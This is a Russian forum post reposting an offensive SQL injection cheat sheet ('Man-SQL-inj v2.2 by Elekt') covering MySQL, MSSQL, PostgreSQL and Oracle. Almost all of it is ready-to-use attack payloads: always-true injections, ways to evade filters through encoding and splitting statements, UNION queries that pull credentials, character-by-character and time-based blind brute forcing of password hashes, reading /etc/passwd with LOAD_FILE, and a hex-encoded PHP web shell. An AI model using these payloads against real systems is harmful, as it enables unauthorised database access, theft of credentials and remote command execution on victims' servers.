на диске с журнала Xakep нашел нормальный дос по скуль-инъекциям. выкладываю его в нескольких частях
++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++ Man-SQL-inj v2.2 by Elekt +++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
=========================
Рекомендую:
http://cup.su/p/sql
http://injection.rulezz.ru/
http://sql.ru/docs/mssql/tsql_ref/index.shtml
http://www.sql.ru/articles/
http://www.answers.com/topic/comparison-of-sql-syntax
=========================
Содержание:
~ ОБЩЕЕ
~ MySQL
~ MSSQL
~ PostgreSQL
~ Oracle
~ mSQL
~ SQLite
~ Access
=========================
Структура:
1. Ссылки
2. default port
3. Системные переменные
4. Индивидуальное
5. Подгрузка данных из файла
6. Выгрузка данных в файл
7. Создаём Аккаунт
8. Полезные таблицы
9. Дамп бд в командной строке
10.Разное
++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END +++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ Общее ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +
=========================
КОМЕНТЫ:
-- ,
/*,
#,
{rrr}
=========================
Аналоги ПРОБЕЛА:
+ или %2B
табуляция " " или %09
возврат коретки " " или %0D
перевод строки %0A
три символа "$IFS"
коментарий /**/
=========================
КОВЫЧКИ:
" - %22
' - %27
' - %2527
` - %60
' - 0x27(mssql)
" - 0x22(mssql)
'',"" - обрамление данных, например "stroka" 'stroka'
`` - обрамление ИМЕНИ базы, столбца
=========================
Простейшие sql-инъекции:
?id=-1' or 1=1--
?id=-1" or 1=1--
?id=-1 or 1=1--
?id=-1' or 'a'='a
?id=-1" or "a"="a
?id=-1') or ('a'='a
(1, 'a'='a', 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3)
?id=-1' OR 'whatever' in ('whatever')
?id=-1' OR 2 BETWEEN 1 and 3
=========================
Определение типа переменных(строковая, числовая):
Это строка, если результат одинаков:
?id=саша
?id=саш"+"а
?id=51
?id='5'+'1'
?id=5'%2b'1
Это число, если результат одинаков:
?id=263
?id=263-1
?id=263%2d1
SELECT 1,NULL
No Error
SELECT 1,2
Error! – Second column is not an integer. ...
SELECT 1,’2’
No Error – Second column is a string.
=========================
Обход фильтрации:
1) HEX - MySQL и MSSQL представление строк в 16-ом формате(hex)
?id=-1 select 0x78617861
?id=-1 select hex(version())
Пхп-скрипт для закодирования строки:
<? $string="Ваша строка"; echo('0x'.bin2hex($string));?>
2) CHAR - MySQL\Postgresql представление строк в ascii формате - char()\chr()
char(c1,c2,c2,..) - возвращает строку состоящую из символов с ASCII кодами c1,c2,c3...
?id=9999+union+select+char(116,101,115,116),null,n ull+from_table1/*
?id=9999+union+select+null,LOAD_FILE(char(47,101,1 16,99,47,112,97,115,115,119,100)),null/*
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)
3) MySQL Обход фильтрации букв, кодировки в строковых параметрах запроса
где 0x71 - ключ шифровки\расшифровки и может быть любым, но одинаковым
?id=-1 union select 1,2,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),4,5 ,6,7,8,9,10,11/*
4) Деление операторов на части:
"UPDA"+"TE users"+"SET password=123456"
5) Деление операторов:
(Oracle)';EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
(MSSQL) ';EXEC('SEL'+'ECT US'+'ER')
(MSSQL) ';exec (*UPDA*+*TE users*+*SET password=123456*)
=========================
Обход UNION, SELECT и подзапросов:
Иногда взломщик может взять нужные ему данные из таблицы даже когда нет поддержки ни UNION, ни подзапросов. Пусть имеется простейший запрос:
select news_id,message from news where news_id=333
Тогда, если значение передаваемое в news_id не фильтруется, можно получить доступные таблицы так:
select news_id,message from news where news_id=333 natural left join mysql.user
В случае результата схожего с предыдущем или отсутствием ошибок можно говорить, что таблица mysql.user доступна и в дальнейшем из неё можно
получить нужные данные так:
select news_id,message from news where news_id=333 natural left join mysql.user where user="root" and ascii(substring(password,1,1))=111
Аналогичным перебором можно получить весь пароль и подключиться к базе данных под root.
=========================
Полезные функции:
1) substr
substring(str,begin,length) - возвращает подстроку str, начиная с begin символа по счету длиной численно равной length.
MySQL, MSSQL, Postgresql
2) ascii(char) - возвращает ASCII код символа char
=0+and+(user_id=2)+and+(ascii(substring(user_passw ord,1,1))<100)
MySQL, MSSQL, Postgresql
3) lower(str) - возвращает строку str, в которой все символы приведены к нижнему регистру
MySQL, MSSQL
4) Длина строки:
(MySQL): CHAR_LENGTH(str) - возвращает длину str
(Other): length(str)
5) hex() - если mysql начинает ругаться на большое количество кавычек то можно воспользоваться функцией HEX
?id=-1 select hex(version())
select hex("<? system($_GET['cmd']); ?> ");
3C3F2073797374656D28245F4745545B27636D64275D293B20 3F3E20
MySQL, MSSQL only
6)concat(str1,str2,str3,..) - "склеивает" строки str1,str2,str3 и тд, и возвращет полученный результат.
id=-47893 union select 1,concat(name,":",passwd) from users limit 3000,1000
MySQL
+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
7) Преобразование типов данных(подгонка):
convert(lala,TYPE), TYPE - любой из стандартных типов MySQL : INTEGER, varchar и т.д.
convert("stroka" using cp1251) - возвратит строку "stroka" в нужно вам кодировке: cp1251,latin1,utf8
UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
MySQL, MSSQL only
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
SQL Server (S)
Hex() for every possible issue
MySQL (M)
8) charset() - Данная функция выводит кодировку заданной строки:
select charset('Программинг');
latin1
MySQL
9) cast() - в какой тип преобразовать
select cast(user() AS char);
Возможные типы:
• BINARY
• CHAR
• DATE
• TIME
• DATETIME (Дата + время: 2007-01-11 11:44:12)
• SIGNED (число)
• UNSIGNED (число)
MSSQL
10) msssql convert()
=========================
Определение возможности посимвольного перебора.
Если на два запроса РАЗНЫЕ ответы - один с ошибкой, другой - без, то возможен брут полей:
?id=1 and(1=1)/*
?id=1 and(1=2)/*
?id=1 HAVING 1=1
?id=1 ORDER BY 1=1
?id=1 GROUP BY 1=1
?id=1 GROUP BY userid having 1=1--
=========================
Посимвольный Брут полей:
?id=admin" and ascii(substring(passwd,1,1))>100 and "1"="1
?id=5')union select ascii(lower(substring(user_name,1,1))),20000%2b1 where user_id=1/*
?id=-1 seclet pass from users where id=1+and+(id=2)+and+(ascii(substring(pass,0,1))<10 0)
?id=-1 seclet pass from users where id='admin" and ascii(substring(passwd,1,1))>100 and "1"="1
?id=-1 select news_id,message from news where id=47893 and (select ascii(substring(passwd,1,1)) from users where name="admin")>100
?id=9' AND lower(substring(user(),1,1))="a"/*
?id=-1 UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"
d=47893 and (select ascii(substring(passwd,1,1)) from users where name="admin")>100
?id=-1 AND ISNULL(ASCII(SUBSTRING((.....
=========================
Посимвольный Брут, используя задержку при исполнении ресурсоёмких операций:
SQL Server
WAIT FOR DELAY '0:0:10'
WAITFOR DELAY '0:0:0.51'
if (select user) = 'sa' waitfor delay '0:0:10'
MySQL
BENCHMARK()
BENCHMARK(199999,md5(1))
BENCHMARK(199999,SHA1(1))
На выполнение benchmark() уходит время, значит при совпадении лог условия задержка будет означать его верность:
server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="u"),1,benchmark(999 999,md5(char(114,115,116))));
PostgreSQL
SELECT pg_sleep(10);
Sleep 10 seconds.
ORACLE
some PL/SQL tricks
============ !!NEW!!©Elekt =============
Посимвольный Брут, используя ошибку "Subquery returns more than 1 row":
?id=1 and (select null from mysql.user where length(if((ascii(substring((select password from mysql.user where id=1),1,1))>=254),password,user))<7))/*
++++++++++++++++++++++++++++++++++++++++++++++++++ +
+++++++++++++++++++++ END ++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++++++++++++++ +